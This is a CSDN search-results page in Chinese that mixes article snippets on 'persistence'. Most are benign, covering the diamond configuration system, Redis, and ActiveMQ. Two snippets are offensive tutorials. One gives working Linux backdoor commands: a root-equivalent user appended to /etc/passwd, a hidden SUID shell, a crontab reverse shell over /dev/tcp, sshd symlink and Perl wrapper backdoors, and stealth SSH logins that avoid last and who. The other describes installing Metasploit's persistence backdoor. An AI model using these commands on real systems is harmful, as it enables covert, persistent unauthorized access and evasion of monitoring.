linux 持久化设置 - CSDN
  • 本次为大家介绍diamond的概况和快速使用。 一、概况diamond是淘宝内部使用的一个管理持久配置的系统,它的特点是简单、可靠、易用,目前淘宝内部绝大多数系统的配置,由...持久配置是指配置数据会持久化到磁盘和数

    本次为大家介绍diamond的概况和快速使用。

    这里写图片描述

    一、概况

    diamond是淘宝内部使用的一个管理持久配置的系统,它的特点是简单、可靠、易用,目前淘宝内部绝大多数系统的配置,由diamond来进行统一管理。

    diamond为应用系统提供了获取配置的服务,应用不仅可以在启动时从diamond获取相关的配置,而且可以在运行中对配置数据的变化进行感知并获取变化后的配置数据。

    持久配置是指配置数据会持久化到磁盘和数据库中。

    diamond的特点是简单、可靠、易用:
    简单:整体结构非常简单,从而减少了出错的可能性。
    可靠:应用方在任何情况下都可以启动,在承载淘宝核心系统并正常运行一年多以来,没有出现过任何重大故障。
    易用:客户端使用只需要两行代码,暴露的接口都非常简单,易于理解。

    二、快速使用

    1、源代码检出
    从以下svn地址检出diamond的源代码:

    http://code.taobao.org/svn/diamond/trunk

    2、server的搭建

    (1)mysql
    安装mysql-server的步骤请参考mysql官方文档,安装完毕后,建立数据库,然后建立两张表,建表语句分别如下:

    create table config_info (
    `id` bigint(64) unsigned NOT NULL auto_increment,
    `data_id` varchar(255) NOT NULL default ’ ’,
    `group_id` varchar(128) NOT NULL default ’ ’,
    `content` longtext NOT NULL,
    `md5` varchar(32) NOT NULL default ’ ’,
    `src_ip` varchar(20) default NULL,
    `src_user` varchar(20) default NULL,
    `gmt_create` datetime NOT NULL default2010-05-05 00:00:00′,
    `gmt_modified` datetime NOT NULL default2010-05-05 00:00:00′,
    PRIMARY KEY  (`id`),
    UNIQUE KEY `uk_config_datagroup` (`data_id`,`group_id`)
    );
    
    create table group_info (
    `id` bigint(64) unsigned NOT NULL auto_increment,
    `address` varchar(70) NOT NULL default ’ ’,
    `data_id` varchar(255) NOT NULL default ’ ’,
    `group_id` varchar(128) NOT NULL default ’ ’,
    `src_ip` varchar(20) default NULL,
    `src_user` varchar(20) default NULL,
    `gmt_create` datetime NOT NULL default2010-05-05 00:00:00′,
    `gmt_modified` datetime NOT NULL default2010-05-05 00:00:00′,
    PRIMARY KEY  (`id`),
    UNIQUE KEY `uk_group_address` (`address`,`data_id`,`group_id`)
    );

    建表完成后,请将数据库的配置信息添加到diamond-server工程的src/resources/jdbc.properties文件中。

    (2)tomcat

    tomcat是diamond server的运行容器。
    tomcat的安装请参考tomcat官方文档,建议使用tomcat7
    不需要对tomcat进行任何改动。

    (3)diamond server

    在diamond-server源代码根目录下,执行mvn clean package -Dmaven.test.skip,成功后会在diamond-server/target目录下生成diamond-server.war(如果没有安装maven,请参考maven官方文档进行安装)。

    打包完成后,将diamond-server.war放在tomcat的webapps目录下。

    (4)http server

    http server用来存放diamond server等地址列表,可以选用任何http server,这里以tomcat为例。

    安装tomcat的步骤请参开tomcat官方文档,注意,如果http server和diamond server安装在一台机器上,请修改http server的端口,避免冲突。

    修改完端口后,请将diamond-utils工程下的com.taobao.diamond.common.Constants类中的DEFAULT_PORT常量修改成对应的端口号。

    安装完成后,请在tomcat的webapps下建立文件夹diamond-server和pushit-server,diamond-server中再建立diamond文件,文件内容是diamond-server的地址列表,一行一个地址,地址为ip;pushit-server中也建立diamond文件,文件内容是pushit-server的地址列表,一行一个地址,地址为ip:port(pushit后文会进行叙述)

    (5)pushit

    pushit是一个轻量级的消息通知服务组件,用来为diamond做实时通知服务,通知客户端数据的变化,它也是CS的结构,服务端搭建步骤如下:
    在pushit源代码根目录下,执行mvn clean package assembly:assembly -Dmaven.test.skip命令,成功后会在pushit/target目录中看到pushit-pushit.tar.gz包。
    执行tar -xzvf pushit-pushit.tar.gz,进行解压。
    进入pushit目录,建立logs目录,在logs目录中建立pushit.log文件。
    进入pushit/bin目录,执行./pushit-startup.sh ../conf/server.properties命令,启动pushit-server

    (6)redis
    redis用来存放一些跟统计相关的信息。

    redis的安装请参考redis的官方文档。

    安装完成后,请在diamond-server的配置文件redis.properties中填写对应的信息。

    完成以上6步后,server端的搭建就完成了。

    2、发布数据

    diamond发布数据通过手工的方式进行。

    修改diamond-server的配置文件user.properties,以k=v的方式添加登录diamond-server的用户名和密码。

    在浏览器中输入http://ip:port/diamond-server/,ip和port为server搭建的第(2)步中的地址和端口,登录后进入后台管理界面,然后点击“配置信息管理”—— “添加配置信息”,在输入框中输入dataId、group、内容,最后点击“提交”即可。
    成功后,可以在“配置信息管理”中查询到发布的数据。

    3、订阅数据

    diamond客户端API主要提供了订阅数据的功能.

    (1)客户端获取服务端地址
    获取服务端地址对客户端是透明的,客户端仅仅需要在本地进行如下域名绑定即可:
    domain ip
    其中,domain的值与diamond-utils工程下的com.taobao.diamond.common.Constants类中的DEFAULT_DOMAINNAME和DAILY_DOMAINNAME的值相同,ip为server搭建第(4)步中的http server地址。

    (2)创建订阅者
    DiamondManager manager = new DefaultDiamondManager(group, dataId, new ManagerListener() {
    public void receiveConfigInfo(String configInfo) {
    // 客户端处理数据的逻辑
    }
    });
    参数的说明:
    group和dataId为String类型,二者结合为diamond-server端保存数据的惟一key
    ManagerListener 是客户端注册的数据监听器, 它的作用是在运行中接受变化的配置数据,然后回调receiveConfigInfo()方法,执行客户端处理数据的逻辑。如果要在运行中对变化的配置数据进行处理,就一定要注册ManagerListener

    (3)获取配置数据
    String configInfo = manager.getAvailableConfigInfomation(timeout);
    diamond-server端保存的配置全都为文本类型,返回给客户端的配置数据为java.lang.String类型,timeout为从网络获取配置数据的超时时间。客户端调用每次调用该方法,都能够保证获取一份最新的可用的配置数据。

    展开全文
  • linux 持久化后门

    2020-01-18 18:37:32
    收集复现下网上linux后门姿势,一起学习下。 这张图特别好 添加超级用户 某些情况下是没有回显的,可以用一句话直接添加用户 1、useradd guest;echo 'guest:123456'|chpasswd 2、useradd -p `openssl ...

    前言

    收集复现下网上linux后门姿势,一起学习下。

    这张图特别好

     

    添加超级用户

    某些情况下是没有回显的,可以用一句话直接添加用户

    1、useradd guest;echo 'guest:123456'|chpasswd
    2、useradd -p `openssl passwd 123456` guest
    3、useradd -p "$(openssl passwd 123456)" guest
    4、useradd newuwer;echo -e "123456n123456n" |passwd newuser
    

    然后把我们添加的用户赋予root权限

    echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
    echo 'guest:123456'|chpasswd
    

    有些时候添加不成功是因为用户策略可以适当加强密码强度

    有些也会限制root权限用户远程登录

    SUID shell

    Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
    那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。

    root权限下执行

    cp /bin/bash  /.test
    chmod 4755 /.test
    

    这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。

    切换普通用户

    /.test
    

    不过bash2针对suid做了一些措施 加个参数就行

    /.test -p
    

     

     

    euid:effective user ID:有效用户ID,指进程执行时对文件的访问权限

    inetd

    修改/etc/inetd.conf

     

    nc直接连接

     

    还可以配合修改修改/etc/service 改为常用端口隐藏

     

    Crontab后门

    redis未授权访问也是利用这个,我们可以设置没隔一段时间反弹一次shell

    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
    

    ssh公钥免密

    redis也有用到不多说了

    ssh-keygen -t rsa
    

    把自己本地生成的公钥id_rsa.pub传到目标服务器

    chmod 600 ~/.ssh/authorized_keys
    chmod 700 ~/.ssh
    

    实战受限且很容易被发现

    ssh软连接

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
    

    直接ssh连接5555端口就行,密码随便输入。但是有些限制了root不许远程登录不能指定root用户。

    软连接其实是利用了pam验证后续过程对pam_rootok模块的验证信任。
    http://www.91ri.org/16803.html

    SSH wrapper后门

    cd /usr/sbin/
    mv sshd ../bin/
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    /etc/init.d/sshd restart
    

    连接:

    socat STDIO TCP4:target_ip:22,sourceport=13377
    

     

    说句实在话每太看明白,反正命令敲上去就连上了…

    PAM

    https://github.com/litsand/shell/blob/master/pam.sh

    自动化脚本

    Openssh

    https://www.tuicool.com/articles/eIv22az

    实战的确会遇到各种问题 (ps:本机都各种问题)

    隐身登录

    隐身登录系统,不会被last who w等指令检测到

    ssh -T username@host /bin/bash -i
    
    ssh -o UserKnownHostsFile=/dev/null -T user@host 
    /bin/bash -if
    

    RootKit

    安装了mafix刚执行妈的把老子环境都删了,现在连命令都执行不了…
    心态爆炸!!!

    收集后门

    https://github.com/iamckn/backdoors
    

    参考链接:

    http://www.91ri.org/9026.html

    https://www.anquanke.com/post/id/155943#h2-10

    http://rcoil.me/2017/04/Linux%E5%B0%8F%E5%90%8E%E9%97%A8/

    展开全文
  • 请教个问题 我在 Tiny Core Linux 9.0 系统中 发现并默认缺少 DNS 配置 --- 尝试过运行 ```shell sudo udhcpc ``` 或者运行 ```shell sudo echo 'nameserver ...请问我应该如何持久化配置dns?
  • Redis(4) 持久化配置

    2020-01-21 19:08:27
    Redis 提供了两种不同级别的持久化方式:RDB和AOF,可以通过修改来进行配置 如果满足保存策略,就会把内存的数据保存到rdb数据文件,还来不及保存那部分数据存放到更新日志中。掉点重新加载时,把两个数据做一个...

    Redis 提供了两种不同级别的持久化方式:RDBAOF,可以通过修改来进行配置

    如果满足保存策略,就会把内存的数据保存到rdb数据文件,还来不及保存那部分数据存放到更新日志中。掉点重新加载时,把两个数据做一个并集。

    redis是怎么存储数据??

    RDB模式

    RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照,默认开启该模式.

    如何关闭 rdb 模式:

    save ""
    
    # save 900 1        //至少在900秒的时间段内至少有一次改变存储同步一次
    # save xxx
    # save 60 10000

    AOF追加模式

    AOF 持久化记录服务器执行的所有写操作命令,并在服务器启动时,通过重新执行这些命令来还原数据集,默认关闭该模式。

    如何开启aof模式:

    appendonly yes         //yes 开启,no 关闭
    
    # appendfsync always //每次有新命令时就执行一次fsync 
    #这里我们启用 everysec
    
    appendfsync everysec //每秒 fsync 一次
    
    # appendfsync no      //从不fsync(交给操作系统来处理,可能很久才执行一次fsync)

    其它的参数可看redis.conf配置文件详解

    展开全文
  • 工具:Metasploit 为了实现这一点,可以选择在目标计算机上添加一个新的用户,也可以...运行persistence模块可以通过在目标计算机上安装一个永久性的后门来实现访问控制的持久化。这样,即使有一天目标计算机修...

    转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86358463

    工具:Metasploit

    为了实现这一点,可以选择在目标计算机上添加一个新的用户,也可以选择使用MSF中persistence模块。

    运行persistence模块可以通过在目标计算机上安装一个永久性的后门来实现访问控制的持久化。这样,即使有一天目标计算机修补了漏洞,我们仍然可以通过这个连接来实现对目标计算机的控制。

    这里,我们假设经过了一系列的渗透拿到了system权限的meterpreter,我们在meterpreter命令行执行如下命令:

    run persistence

    运行persistence模块会向目标计算机上传一个.vbs类型的恶意脚本文件,并在目标计算机上执行这个恶意脚本文件。这个脚本一旦在目标计算机上运行,每隔几秒钟就会主动连接攻击者的计算机。这个恶意脚本文件会被当做一个系统服务安装在目标计算机系统中,同时,会被添加到开机启动项中,因此,无论目标计算机重启多少次,该恶意服务都可以运行。除非卸载该服务或手动删除文件,否则恶意服务一直存在。

    这里,我们重新开启一个MSF来验证:

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.109.137
    set LPORT 4444
    exploit

    此处需要注意的是:我们设置攻击载荷和LPORT选项必须与运行persistence模块时设置的攻击载荷和LPORT选项相同。

    发出攻击命令exploit后,exploit/multi/handler开始等待从目标系统上发回来的连接。一旦传入的连接被检测到,控制端就会切换到Meterpreter命令行。

     

    展开全文
  • ActiveMQ持久化配置

    2016-06-12 23:02:27
    ActiveMQ持久化配置 1 概述 ActiveMQ是一种开源的,实现了JMS1.1规范的,面向消息(MOM)的中间件,为应用程序提供高效的、可扩展的、稳定的和安全的企业级消息通信。ActiveMQ使用Apache提供的授权,任何人都可以对其...
  • 数据持久化是Redis不同于其他缓存的一个特性,具有很明显的优点。但是如果我现在不希望Redis持久化数据,只想单纯的当做缓存来用,就像memcache缓存一样。 在网上查了一下,都是介绍如何开启Redis的持久化,很少有...
  • redis如何关闭持久化

    2016-12-20 15:28:29
    网上一堆都是怎么开启持久化持久化的各种特点分析的。千篇一律。 如何关闭redis持久化?我的需求是只把redis当作缓存来用,所以持久化到硬盘对我的需求来说没有意义。 修改redis配置文件,redis.conf 第115行左右...
  • Linux持续后门

    2020-02-20 10:52:39
    Linux权限维持 环境:Centos7、Kali虚拟机等 1、增加超级用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test 通过命令创建了test ...
  • redis修改持久化路径和日志路径 vim redis.conf logfile /data/redis_cache/logs/redis.log #日志路径 dir /data/redis_cache #持久化路径,修改后 记得要把dump.rdb持久化文件拷贝到/data/redis_cache下 先杀...
  • Redis支持RDB和AOF两种持久化机制。持久化功能有效地避免因进程退出造成的数据丢失问题,下次重启时利用之前持久化的文件即可实现数据恢复。 RDB:RDB持久化是把当前进程数据生成快照保存到硬盘的过程,触发RDB持久...
  • 关于PHP持久化

    2017-05-17 15:33:05
    持久化定义: 通过将应用程序对象转化成一系列字节流(称 对象序列化),以适应网络传输和保存。 被序列化的对象还可以被重新装配,能够换成原来的形式。 这即意味着,改机制能自动补偿操作系统减的差异,比如在...
  • redis 数据持久化

    2016-12-24 17:04:09
    数据持久化通俗讲就是把数据保存到磁盘上,保证不会因为断电等因素丢失数据。 redis 需要经常将内存中的数据同步到磁盘来保证持久化。redis支持两种持久化方式,一种是 Snapshotting(快照)也是默认方式,另一种是...
  • ActiveMQ持久化消息的三种方式 ... 这一段给公司开发消息总线有机会研究ActiveMQ,今天撰文给大家介绍一下他... 这个你装ActiveMQ时默认就是这种,只要你设置消息为持久化就可以了。涉及到的配置和代码有 p
  • 它跟memcached类似,不过数据可以持久化,而且支持的数据类型很丰富。有字符串,链表,集 合和有序集合。支持在服务器端计算集合的并,交和补集(difference)等,还支持多种排序功能。所以Redis也可以被看成是一个...
  • 文章 Redis 快照持久化学习笔记 介绍 Redis 快照持久化的功能,除了快照持久化外,Redis 还提供了 AOF(Append Only File)持久化功能。与快照持久化通过直接保存 Redis 的键值对数据不同,AOF 持久化是通过保存 ...
  • Kali linux持久加密U盘制作 将镜像刻录到U盘 (你也可以直接在windows下用u盘写入工具如Win32DiskImager.exe来写入镜像文件 dd if=你所下载的kali镜像.iso of=/dev/sdb bs=1M bs指的是block size(块大小)...
  • Redis为持久化提供了两种方式: RDB:在指定的时间间隔能对你的数据进行快照存储。 AOF:记录每次对服务器写的操作,当服务器重启的时候会重新执行这些命令来恢复原始的数据。 本文将通过下面内容的介绍,希望能够...
  • 使用redis持久化的时候到底该怎么选择?1:到底选择哪个? 官网:http://www.redis.cn/topics/persistence.htmlRDB持久化方式能够在指定的时间间隔能对你的数据进行快照存储AOF持久化方式记录每次对服务器写的操作,...
  • 转载自...3种方法来创建轻量、持久化的Xubuntu Linux USB系统盘 2015-2-26 14:08| 查看: 392| 评论: 6| 收藏: 1| 分享: 15 来源:Linux中国 原文:http://linux.cn/article-4946-1.ht
1 2 3 4 5 ... 20
收藏数 88,134
精华内容 35,253
热门标签
关键字:

linux 持久化设置